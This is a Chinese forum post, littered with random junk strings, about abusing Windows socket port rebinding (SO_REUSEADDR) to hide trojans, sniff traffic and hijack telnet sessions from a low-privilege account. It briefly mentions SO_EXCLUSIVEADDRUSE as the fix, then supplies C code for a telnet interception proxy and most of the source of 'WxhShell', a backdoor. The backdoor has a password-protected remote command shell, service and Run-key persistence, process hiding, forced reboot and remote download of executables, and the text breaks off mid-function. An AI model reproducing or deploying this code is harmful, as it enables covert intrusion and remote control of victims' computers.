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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T&]Na  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >Q&CgGpW$  
Dq|GQdZ>o  
  saddr.sin_family = AF_INET; SK?I.  
(m6EQoW^s+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^#2xQ5h  
3b e6p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RZ*<n$#6  
#?_#!T|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nQ|GqU\oA  
$Tfm/=e  
  这意味着什么?意味着可以进行如下的攻击: )W#T2Z>N1  
18jJzYawh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5Wo5 n7o  
YDW|-HIF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jg?bf/$s  
 %W(^6p!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k<!<<,Z  
(9E( Q*J5x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  / HL_$g<  
nMkOUW:T!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7vw;Egd@@-  
~)_K"h.DY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2.ew^D#  
:Pc(DfkS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3+ e4e  
d<!IGt4Ky  
  #include sp^Wo7&g  
  #include UAdz-)$  
  #include |4 Qx=x>  
  #include    <Kg2$lu(_`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ><cU7 ja[^  
  int main() hzv3F9.x  
  { v_.HGG S  
  WORD wVersionRequested; Oc#>QZ3  
  DWORD ret; ^}hJL7O'  
  WSADATA wsaData; z4bN)W )p  
  BOOL val;  ![ a  
  SOCKADDR_IN saddr; dIvy!d2l  
  SOCKADDR_IN scaddr; RJ@\W=aZ  
  int err; ;>8kPG  
  SOCKET s; vmLpm xS  
  SOCKET sc; X~Cq  
  int caddsize; /p,{?~0mj  
  HANDLE mt; x7H A722w  
  DWORD tid;   ]W;:|/,c  
  wVersionRequested = MAKEWORD( 2, 2 ); *U_S1>0n  
  err = WSAStartup( wVersionRequested, &wsaData ); =PZWS& (L  
  if ( err != 0 ) { UoHd-  
  printf("error!WSAStartup failed!\n"); oXdel Ju?  
  return -1; =MxpH+spI  
  } vTHq)C.7G  
  saddr.sin_family = AF_INET; !3@{U@*Z]  
   f}2;N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Je 31".  
IytDvz*|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $T?]+2,6;  
  saddr.sin_port = htons(23); ,m:L2 -J@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ch t%uzb,  
  { b4)k&*dfR  
  printf("error!socket failed!\n"); JYQ.EAsr!  
  return -1; )nOE 8y/  
  } \ADLMj`F|  
  val = TRUE; < <sE`>)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #jm@N7OZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m<3w^mww  
  { x)_r@l`$ix  
  printf("error!setsockopt failed!\n"); NJm-%K  
  return -1; 2QL?]Vo  
  } \sITwPA[z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ' Rc#^U*n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z%OW5]q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e}e6r3faz  
{yS;NU`2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ws[/  
  { 7E\g &R.  
  ret=GetLastError(); 8ljuc5,J  
  printf("error!bind failed!\n"); uFo/s&6K  
  return -1; lm*g Gy1i  
  } 2T?TM! \Q  
  listen(s,2); 0<Q*7aY  
  while(1) z&F5mp@  
  { )b0];&hw]  
  caddsize = sizeof(scaddr); 7h`^N5H.q  
  //接受连接请求 H99xZxHZ{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nA+F  
  if(sc!=INVALID_SOCKET) Z9VR]cf?  
  { [~)x<=H8{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #ua^{OrC/  
  if(mt==NULL) \7 Gz\=\LR  
  { 1O0X-C,wo$  
  printf("Thread Creat Failed!\n"); uXpv*i {R  
  break; ' %&z.{  
  } #)]E8=}  
  } j8a[ (  
  CloseHandle(mt); #w|5 jN?  
  } dlR_ckp  
  closesocket(s); }LQC.!  
  WSACleanup(); qnXTNs ?b  
  return 0; |IN[uQ  
  }   n}q$f|4!  
  DWORD WINAPI ClientThread(LPVOID lpParam) AG>\aV"b  
  { uY]0dyI  
  SOCKET ss = (SOCKET)lpParam; |'$ l7  
  SOCKET sc; TF2KZL#A|  
  unsigned char buf[4096]; ve fU'  
  SOCKADDR_IN saddr; 0>FE%  
  long num; Y{+3}drJE  
  DWORD val; &a6,ln:P  
  DWORD ret; ?Oc -aa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 RG1\=J$:E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X!c?CL  
  saddr.sin_family = AF_INET; w.^yP7:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l'uOORI  
  saddr.sin_port = htons(23); $8g42LR'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p9iu:MucD<  
  { V;;#/$oU:4  
  printf("error!socket failed!\n"); U=QA  e  
  return -1; w & P&7  
  } #U"1 9@|}  
  val = 100; NzlAC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ao"C<.gUYP  
  { kceyuD$3G  
  ret = GetLastError(); ]r959+\$  
  return -1; Dr+Ps  
  } n NQ-"t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ShGp^xVj  
  { ) EXJ   
  ret = GetLastError(); ]0-<>  
  return -1; 4Jykos2  
  } QNg\4%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  KGT3|)QN  
  { x<F$aXOS  
  printf("error!socket connect failed!\n"); T8Na]V5  
  closesocket(sc); K<RqBecB  
  closesocket(ss); x0<^<D&Q  
  return -1; K*+6`z#fMF  
  } +|&0fGv;d9  
  while(1) Hi8Y6|y$D  
  { vyU!+mlc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W.[BPR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DFy1 bg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !_x*m@/  
  num = recv(ss,buf,4096,0); m\-PU z&C  
  if(num>0) s)w9%  
  send(sc,buf,num,0); X<euD9?  
  else if(num==0) mb{q(WEPP  
  break; "~\*If  
  num = recv(sc,buf,4096,0); N RSU+D-z  
  if(num>0) ~kb{K;  
  send(ss,buf,num,0); Uk'U?9O  
  else if(num==0) _ECB^s_  
  break; R=$Ls6z  
  } OZOb1D  
  closesocket(ss); [r9d<Zi}{  
  closesocket(sc); Pm?B 9S  
  return 0 ; T*+A.G@L"  
  } A3q*$.[  
ch })ivFP[  
(STx$cya  
========================================================== -nR\,+N  
x~+-VF3/  
下边附上一个代码,,WXhSHELL mi^hvks<  
S^j,f'2  
========================================================== (U9a@ 1  
rQj~[Y.c  
#include "stdafx.h" 1exfCm  
iN)af5)[^  
#include <stdio.h> Y /lN@  
#include <string.h> 9@y3IiZ"}  
#include <windows.h> 6+PGwCS  
#include <winsock2.h> ri+U0[e3  
#include <winsvc.h> vr4S9`,  
#include <urlmon.h> Ue7 6py9  
Ac\W\=QvB  
#pragma comment (lib, "Ws2_32.lib") <|H ?gfM  
#pragma comment (lib, "urlmon.lib") WQKj]:qk0  
OKPJuV`y6  
#define MAX_USER   100 // 最大客户端连接数 +)gB9DoK  
#define BUF_SOCK   200 // sock buffer [{cC  
#define KEY_BUFF   255 // 输入 buffer HJ@5B"  
&J(!8y*QyE  
#define REBOOT     0   // 重启 v3-?CQb(  
#define SHUTDOWN   1   // 关机 I%xn,u  
\_U*t!  
#define DEF_PORT   5000 // 监听端口 uvv.WbZ  
t)r1"oA  
#define REG_LEN     16   // 注册表键长度 D^$OCj\  
#define SVC_LEN     80   // NT服务名长度 -9-fX(I  
'C~9]Y].  
// 从dll定义API y x;h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X4Xf2aXI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %h/! Y<%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MGybGbd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @a(oB.i  
784;]wdy\  
// wxhshell配置信息 RGp'b  
struct WSCFG { gp/YjUH7k8  
  int ws_port;         // 监听端口 n(R_#,Hs  
  char ws_passstr[REG_LEN]; // 口令 sFElD ]|  
  int ws_autoins;       // 安装标记, 1=yes 0=no )eR$:uO  
  char ws_regname[REG_LEN]; // 注册表键名 x)R0F\_  
  char ws_svcname[REG_LEN]; // 服务名 ~6d5zI4\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 plXG[1;&G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .Dx2 ;lj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }cW#045es  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =l,#iYJP8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ML= z<u+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^:z7E1 ~  
f3 &/r  
}; ) b:4uK A  
sykFSPy`'  
// default Wxhshell configuration sN]Z #7  
struct WSCFG wscfg={DEF_PORT, rPO}6lsc  
    "xuhuanlingzhe", >EIrw$V$  
    1, x'i0KF   
    "Wxhshell", bl.EIyG>  
    "Wxhshell", wPH+n-&e  
            "WxhShell Service", U~/ID  
    "Wrsky Windows CmdShell Service", VDiOO  
    "Please Input Your Password: ", DL4iXULNY  
  1, ?Aw3lH#:  
  "http://www.wrsky.com/wxhshell.exe", Qlh?iA  
  "Wxhshell.exe" $G3@< BIN  
    }; f3n~{a,[  
j38 6gL  
// 消息定义模块 yjpz_<7a=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7K:FeW'N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yVYkuO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g;G5 r&T  
char *msg_ws_ext="\n\rExit."; 6b#~;  
char *msg_ws_end="\n\rQuit."; s<VJ`Ur  
char *msg_ws_boot="\n\rReboot..."; dz,+tR~  
char *msg_ws_poff="\n\rShutdown..."; jw4TLc7p  
char *msg_ws_down="\n\rSave to "; OjATSmZ@@  
o?\Gm  
char *msg_ws_err="\n\rErr!"; :mp$\=  
char *msg_ws_ok="\n\rOK!"; #(dhBEXPW;  
Tf[dZ(+\  
char ExeFile[MAX_PATH]; o9+Q{|r  
int nUser = 0; WZK :.y  
HANDLE handles[MAX_USER]; %zflx~  
int OsIsNt; OG}KqG!n  
?O7iK<5N  
SERVICE_STATUS       serviceStatus; @_Sp3nWdu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^ZVO ql&  
Yb9cW\lr  
// 函数声明 Z s73 ad  
int Install(void); w4A#>;Qu*  
int Uninstall(void); rKIRNc#d  
int DownloadFile(char *sURL, SOCKET wsh); 7LdzZS0OM  
int Boot(int flag); H:MUNc8i  
void HideProc(void); }4KW@L[g  
int GetOsVer(void); zbg+6qs})  
int Wxhshell(SOCKET wsl); 8Fx]koP.  
void TalkWithClient(void *cs); mu>] 9ZW  
int CmdShell(SOCKET sock); /.@x 4cdS  
int StartFromService(void); . s-5N\  
int StartWxhshell(LPSTR lpCmdLine); 3):?ZCw7y  
+7Rt{C,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :D4];d>1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5M.Red.L  
DaDUK?  
// 数据结构和表定义 UM\}aq=,  
SERVICE_TABLE_ENTRY DispatchTable[] = #JFYws  
{ 'M-)Os "  
{wscfg.ws_svcname, NTServiceMain}, )Y[/!  
{NULL, NULL} l7~Pa0qD  
}; Ays L-sqR  
R8ZD#,;  
// 自我安装 D6:DrA:  
int Install(void) kQ[Jo%YT?E  
{ I4:rie\hjC  
  char svExeFile[MAX_PATH]; _.-#E$6s#q  
  HKEY key; N'a?wBBR  
  strcpy(svExeFile,ExeFile); tWX7dspx/  
-;ER`Jqs,  
// 如果是win9x系统,修改注册表设为自启动 X2{`l8%Ek  
if(!OsIsNt) { QA,*:qx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )w3 ,   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D}Au6  
  RegCloseKey(key); QH:>jmC{1h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PJ;.31u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6kR -rA  
  RegCloseKey(key); Rv,Mu3\~#c  
  return 0; 1q`k}KMy  
    } )*W=GY*  
  } RUqO!s~#rY  
} !G[f[u4Zg  
else { *?p ^6vO  
$r):d  
// 如果是NT以上系统,安装为系统服务 Lz?*B$h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bw0 20@O*  
if (schSCManager!=0) Z,SY N?@  
{ (H2ylMpQt  
  SC_HANDLE schService = CreateService bl`D+/V   
  ( i)[kubM  
  schSCManager, YQx?* gZS  
  wscfg.ws_svcname, 1y~L8!: L  
  wscfg.ws_svcdisp, %rw}u"3T  
  SERVICE_ALL_ACCESS, gY%OhYtF2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qL,ka  
  SERVICE_AUTO_START, V07VwVD  
  SERVICE_ERROR_NORMAL, (H P z  
  svExeFile, )# p.`J  
  NULL, +\srZ<67  
  NULL, 3jXR"@Z-  
  NULL, e|JIrOnc  
  NULL, e) ]RA?bF  
  NULL %6N)G!P  
  ); [0wP\{%  
  if (schService!=0) dD o6fP2  
  { i`R(7Z  
  CloseServiceHandle(schService); ^K"ZJ6?+1  
  CloseServiceHandle(schSCManager); :q(D(mK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ca X^)  
  strcat(svExeFile,wscfg.ws_svcname); 'V1!&Q6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O%52V|m}{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 27Cz1[oX  
  RegCloseKey(key); D$QGLI9(  
  return 0; 3Fgz)*Gu]  
    } '!AT  
  } Etw~*  
  CloseServiceHandle(schSCManager); & \JLTw  
} MCM/=M'y  
} O/(3 87=U  
Shs')Zs bv  
return 1; `|&\e_"DE  
} s:3aRQ%  
g%ZdIKj!  
// 自我卸载 Bj; [  
int Uninstall(void) UmYD]  
{ 1E8$% 6VV  
  HKEY key; /9P^{ OZ;y  
(VfwLo>#  
if(!OsIsNt) { 6={IMkmA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u2 Y N[|V  
  RegDeleteValue(key,wscfg.ws_regname); Ywmyr[Uh'  
  RegCloseKey(key);  ccRlql(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x!OWJ/O  
  RegDeleteValue(key,wscfg.ws_regname); J`4Z<b53  
  RegCloseKey(key); Y$>+U  
  return 0; s%5Uj }  
  } j,\tejl1  
} '^8g9E .4K  
} K!9y+%01  
else { NWw<B3aL  
3'.! +#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HJc<Gwm  
if (schSCManager!=0) fn3*2  
{ K *TnUQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L^6"' #  
  if (schService!=0) "pOqd8>]  
  { " 98/HzR  
  if(DeleteService(schService)!=0) { K1/ U (A  
  CloseServiceHandle(schService); %B[YtWqm`/  
  CloseServiceHandle(schSCManager); :wFb5"  
  return 0; ,?Ok[G!cm  
  } TFNUv<>X  
  CloseServiceHandle(schService); j[_t6Z  
  } rFf :A-#l  
  CloseServiceHandle(schSCManager); iKohuZr  
} p 7 , f6kG  
} 3gC\{y!8  
dv}8Y H["  
return 1; TihnSb  
} |Uc <;> l  
X";TZk  
// 从指定url下载文件 _2wAaJvA  
int DownloadFile(char *sURL, SOCKET wsh) joxS+P5#  
{ ]^Sd9ba  
  HRESULT hr; th5 X?so  
char seps[]= "/"; :8](&B68gE  
char *token; $Vo/CZW7  
char *file; 8FAT(f//.  
char myURL[MAX_PATH]; F(J\ctha  
char myFILE[MAX_PATH];  -PcS(  
Cw6>^  
strcpy(myURL,sURL); n>u.3w L  
  token=strtok(myURL,seps); wYZy e^7  
  while(token!=NULL) .UNF~}^H  
  { W,xi> 5k  
    file=token; B0 6s6Q  
  token=strtok(NULL,seps); >_rzT9gX&  
  } -kWO2  
j kSc&  
GetCurrentDirectory(MAX_PATH,myFILE); kTr6{9L  
strcat(myFILE, "\\");  -0{T  
strcat(myFILE, file); PthId aN@  
  send(wsh,myFILE,strlen(myFILE),0); `)0Rv|?  
send(wsh,"...",3,0); or?0PEx\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t8L<x  
  if(hr==S_OK) KDux$V4  
return 0; += X).X0K  
else M' &J _g  
return 1; ~sZqa+jB0  
`6 |i&w:b  
} |E46vup  
]ev*m&O  
// 系统电源模块 s]$HkSH  
int Boot(int flag) lo\:]/&6  
{ 6\; 4 4,3  
  HANDLE hToken; ;M%oQ> ].[  
  TOKEN_PRIVILEGES tkp; u)<Ysx8G  
!Sh^LYqn  
  if(OsIsNt) { pYYqGv^oa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kqj;l\N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); < 8}KEe4  
    tkp.PrivilegeCount = 1; k)?,xY\AV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &?P=arU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .}IK}A/-  
if(flag==REBOOT) { >+yqjXRzm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F% F c+?  
  return 0; Fg_?!zR>6  
} K<$wz/\  
else { It#hp,@e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !F=|*j  
  return 0; `'z(--J}`  
} :iP>z}h  
  } |pfhrwJp  
  else { >t 1_5  
if(flag==REBOOT) { 2#>$%[   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ..vSL  
  return 0; o?:;8]sr!  
} ;X?Ah  
else { TYs+XJ'Xj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u5xU)l3  
  return 0; >wz;}9v  
} y #hga5  
} <;2P._oZ  
8QkWgd7y  
return 1; 4yA9Ni  
} ?b!CV   
tebWj>+1c  
// win9x进程隐藏模块 bYwI==3  
void HideProc(void) g*:ae;GP  
{ \>*MMe  
YD/B')/ s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }*fW!(*  
  if ( hKernel != NULL ) +=|hMQ;  
  { 71oFm1m{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -X"5G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z! C`f/h9  
    FreeLibrary(hKernel); $nUd\B$.=  
  } 6{JR0  
k#1`  
return; Jngll  
} >P6^k!R1y  
/'8*aUa  
// 获取操作系统版本 Sqp;/&Ji  
int GetOsVer(void) p)?qJ2c|  
{ @<@R=aqE  
  OSVERSIONINFO winfo; %8}WX@SB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ua]\xBWx  
  GetVersionEx(&winfo); (SgEt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %JP&ox|^&  
  return 1; (cOND/S  
  else no~OR Q  
  return 0; `^ieT#(O  
} yj}bY?4I  
Ns+)Y^(5  
// 客户端句柄模块 =yk Rki  
int Wxhshell(SOCKET wsl) R-r+=x&  
{ 4*p_s8> >  
  SOCKET wsh; 9%p7B~}E  
  struct sockaddr_in client; O:oU`vE  
  DWORD myID; M iP[UCh  
d1srV`  
  while(nUser<MAX_USER) "_ PH"W  
{ !SLP8|Cd  
  int nSize=sizeof(client); C:'WX*W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >< <$  
  if(wsh==INVALID_SOCKET) return 1; <GL}1W"Ay  
ql#{=oGDnA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >,w\lf9  
if(handles[nUser]==0) rh:s 7  
  closesocket(wsh); TTA{#[=7  
else d&PE,$XC  
  nUser++; VYl_U?D  
  } bqw/O`*wfN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /t$+Af,}  
htUy2v#V  
  return 0; ifJv~asp   
} J)7,&Gc6  
p=8M0k  
// 关闭 socket _Ewy^;S%L  
void CloseIt(SOCKET wsh) p\\P50(-  
{ Xm"w,J&  
closesocket(wsh); 5t"bCzp  
nUser--; X7XCZSh#A  
ExitThread(0); zer&`Vr  
} %KJ"rvi4K  
(c|$+B^*  
// 客户端请求句柄 Jf %!I  
void TalkWithClient(void *cs) ,mO(!D  
{ O+(. 29  
fd!pM4"0  
  SOCKET wsh=(SOCKET)cs; ;w>3,ub(0  
  char pwd[SVC_LEN]; .NV)hg)|cZ  
  char cmd[KEY_BUFF]; dK0}% ]i3#  
char chr[1]; |g7nh[  
int i,j; ])Q9=?Sd}  
U(S@1i(  
  while (nUser < MAX_USER) { )o " SB1  
N27K  
if(wscfg.ws_passstr) { {a+Fx}W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bGMeBj"R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >j(I[_g  
  //ZeroMemory(pwd,KEY_BUFF); Q>SPV8s   
      i=0; 3<KZ.hr  
  while(i<SVC_LEN) { :)A.E}G  
VV0EgfJ  
  // 设置超时 %9~kA5Qj  
  fd_set FdRead; r 48;_4d)D  
  struct timeval TimeOut; q_9N+-?{7  
  FD_ZERO(&FdRead); nK?k<  
  FD_SET(wsh,&FdRead); DU*g~{8T$  
  TimeOut.tv_sec=8; + ,vJ7  
  TimeOut.tv_usec=0; 8T>3@kF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YobC'c\~9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M/8#&RycQ  
,%)WT>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &;NNU T>Q  
  pwd=chr[0]; d!}jdt5%  
  if(chr[0]==0xd || chr[0]==0xa) { xVHQ[I%  
  pwd=0; eu}:Wg2  
  break; i h`y0(<  
  } Pjj;.c 7_j  
  i++; OVQxZ~uQ  
    } {jx#^n&5R  
;H m-,W  
  // 如果是非法用户,关闭 socket &geOFe}R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T0*TTB&b  
} @ 2%.>0s.  
6S! lD=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m5'__<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2kp|zX(  
A3 Rm 0  
while(1) { %4r!7X|O<  
Tg <>B  
  ZeroMemory(cmd,KEY_BUFF); 4Rrw8Bw  
=CG!"&T  
      // 自动支持客户端 telnet标准   r$3~bS$]  
  j=0; N) V7yo?  
  while(j<KEY_BUFF) { Y bn=Gy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VxPTh\O*[  
  cmd[j]=chr[0]; Y00i{/a 8  
  if(chr[0]==0xa || chr[0]==0xd) { bAy5/G!_R  
  cmd[j]=0; ?VOs:sln  
  break; nI|Lx`*v  
  } HkfSx rTgQ  
  j++; QAOk  
    } R+ #.bQg  
@0/@p"j  
  // 下载文件 O w($\,  
  if(strstr(cmd,"http://")) { g1hg`qBBW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &23ss/  
  if(DownloadFile(cmd,wsh)) COkLn)+0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eLt Cxe  
  else 1CS]~1Yp:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )qe$rD;N  
  } G5XnGl }Q  
  else { gKm~cjCB`~  
e u=f-HW]  
    switch(cmd[0]) { 0\_R|i_`>  
  ]Gd]KP@S  
  // 帮助 VtPoc(o4]  
  case '?': { kGBl)0pr`x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PU@U@  
    break; i*cE  
  } AVevYbucB  
  // 安装 2fL88/'  
  case 'i': { !3X%5=#L4  
    if(Install()) k+m_L{#m5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *>&N t  
    else K_lCDiqG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9V4V}[%  
    break; On96N|  
    } S}xDB  
  // 卸载 (?&_6B.*  
  case 'r': { ["#A-S  
    if(Uninstall()) +DV6oh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C)3$";$5)  
    else h}B# 'e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tpx3:|  
    break; <,]CVo  
    } |z<wPJ,;2  
  // 显示 wxhshell 所在路径 ]BS{,sI  
  case 'p': { We+FP9d%  
    char svExeFile[MAX_PATH]; z_,]fd=o  
    strcpy(svExeFile,"\n\r"); xz+`]Q  
      strcat(svExeFile,ExeFile); &_%+r5  
        send(wsh,svExeFile,strlen(svExeFile),0); <2@<r t{  
    break; <hF~L k ,  
    } 5Ret,~Vs9|  
  // 重启 RWh}?vs_  
  case 'b': { W!Ct[t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y3o4%K8  
    if(Boot(REBOOT))  ~NW5+M(u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [2j (\vC!  
    else { H R!>g  
    closesocket(wsh); j>Bk; f|  
    ExitThread(0); Y ,pS/  
    } Mb/6>  
    break; PJ11LE  
    } 2DBFXhP  
  // 关机  ?Ge*~d  
  case 'd': { A@Yi{&D_Q]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pvwnza1  
